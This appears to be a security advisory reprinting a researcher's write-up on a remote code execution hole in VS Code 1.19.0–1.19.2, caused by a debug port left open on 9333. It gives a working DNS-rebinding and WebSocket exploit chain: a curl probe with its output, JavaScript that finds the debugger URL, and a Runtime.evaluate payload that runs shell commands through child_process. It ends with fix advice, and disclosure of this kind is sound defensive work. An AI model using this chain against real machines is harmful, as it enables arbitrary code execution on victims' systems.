Visual Studio Code remote code execution vulnerability

ID SSV:97203
Type seebug
Reporter Root
Modified 2018-03-26T00:00:00


I occasionally noticed that Visual Studio Code was listening on a fixed TCP port 9333. After upgrading to 1.19.3, it’s gone.

➜ ~ netstat -an | grep 9333 tcp4 0 0 *.* LISTEN

Looks like it’s a bug that affects VSCode 1.19.0~1.19.2. Extension process always run in debug mode, because of the accidentally added--inspect argument.

Actually this is not just a bug. It is exploitable.

I guess he’s found the same problem:

To reproduce the bug, download older release from:


Exploiting this port is quite simple. Since it’s a debug port you can absolutely inject arbitrary code into debuggee context. Start Chrome browser an navigate to chrome://inspect

Chrome’s built-in javascript debugging tool Click “Configure” and add localhost:9333 to the list:

Add target Now click inspect to inject javascript into VS Code process:

Remote targets shown in Chrome And profit!

code execution in node.js

To weaponize this, we need to interact with devtools protocol from a remote web page. The protocol is based on HTTP and WebSocket. Check out the spec here:


First, get the session id from ➜ ~ curl -v localhost:9333/json -H "Host: dns.rebind" * Trying ::1... * TCP_NODELAY set * Connection failed * connect to ::1 port 9333 failed: Connection refused * Trying * TCP_NODELAY set * Connected to localhost ( port 9333 (#0) > GET /json HTTP/1.1 > Host: dns.rebind > User-Agent: curl/7.54.0 > Accept: */* > * HTTP 1.0, assume close after body < HTTP/1.0 200 OK < Content-Type: application/json; charset=UTF-8 < Cache-Control: no-cache < Content-Length: 649 < [ { "description": "node.js instance", "devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=", "faviconUrl": "", "id": "c5408ce2-6f06-4a7e-a950-395d95c6804f", "title": "/private/var/folders/4d/1_vz_55x0mn_w1cyjwr9w42c0000gn/T/AppTranslocation/EE69BB42-2A16-45F3-BB98-F6639CB594B1/d/Visual Studio Helper", "type": "node", "url": "file://", "webSocketDebuggerUrl": "ws://" } ] * Closing connection 0

See the webSocketDebuggerUrl? That’s all we need to attach the debugger.

It’s a problem to fetch response from cross origin webpage. Tavis Ormandy has already shown some cases through dns-rebinding:

A case shows that a local port can be access from remote web page So an attacker needs to setup a DNS server to alternatively resolve an evil domain between and the actual web content ip address, with a short TTL. First the browser access the evil page, then wait for a timeout for the browser to invalidate the previous dns record, so we can bypass same origin policy to read from, which is actually from localhost.

For those who are interested in DNS rebinding, check these out:


Some people asked how long does it take to alter the DNS to During my experiment, I borrow the dns server from and set a 120s script timeout before XMLHttpRequest / fetch, and it just worked. function log(msg) { const pre = document.createElement('pre'); pre.appendChild(document.createTextNode(msg)); document.body.appendChild(pre); } const interval = 120 * 1000; async function main() { let list; try { list = await fetch('/json').then(r => r.json()); } catch(e) { // retry log('retry'); return setTimeout(main, interval); } const item = list.find(item => item.url.indexOf('file:///') === 0); if (!item) return log('invalid response'); log('url:' + item.webSocketDebuggerUrl); // exploit(url); } main()

Now talk to the WebSocket server to inject second stage payload.

WebSocket supports cross domain unless the server explicitly checks Origin: header upon connection. So communicating with webSocketDebuggerUrl does not require any additional dns trick, except https:// page can’t connect to ws://. Then call method Runtime.evaluate to inject script.

Assume the WebSocket server url is ws://, run the following script in any (non-https) webpage to see a calculator: function exploit(url) { function nodejs() { const cmd = { darwin: 'open /Applications/', win32: 'calc', linux: 'xcalc', }; process.mainModule.require('child_process').exec( cmd[process.platform]) }; const packet = { "id": 13371337, "method": "Runtime.evaluate", "params": { "expression": `(${nodejs})()`, "objectGroup": "console", "includeCommandLineAPI": true, "silent": false, "contextId": 1, "returnByValue": false, "generatePreview": true, "userGesture": true, "awaitPromise": false } }; const ws = new WebSocket(); ws.onopen = () => ws.send(JSON.stringify(packet)); ws.onmessage = ({ data }) => { if (JSON.parse(data).id === 13371337) ws.close() }; ws.onerror = err => console.error('failed to connect'); } exploit('ws://')

Compared to the recent Electron bug, the later requires user interaction and only affects Windows. If you are on these versions, just upgrade. Anyways, the debugging utility will still be enabled if you manually launch VSCode command with--inspect=[port]. Better use an alternative random port than 9333 to avoid potential exploit.


For any electron based desktop app, there’s a --remote-debugging-port switch.